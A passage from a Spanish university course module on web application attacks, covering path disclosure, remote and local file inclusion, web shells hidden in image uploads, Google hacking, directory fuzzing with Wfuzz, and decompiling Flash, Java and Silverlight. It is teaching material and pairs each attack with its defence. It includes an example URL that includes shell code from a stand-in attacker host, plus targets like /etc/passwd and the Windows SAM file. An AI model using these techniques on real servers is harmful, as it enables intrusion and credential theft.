ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
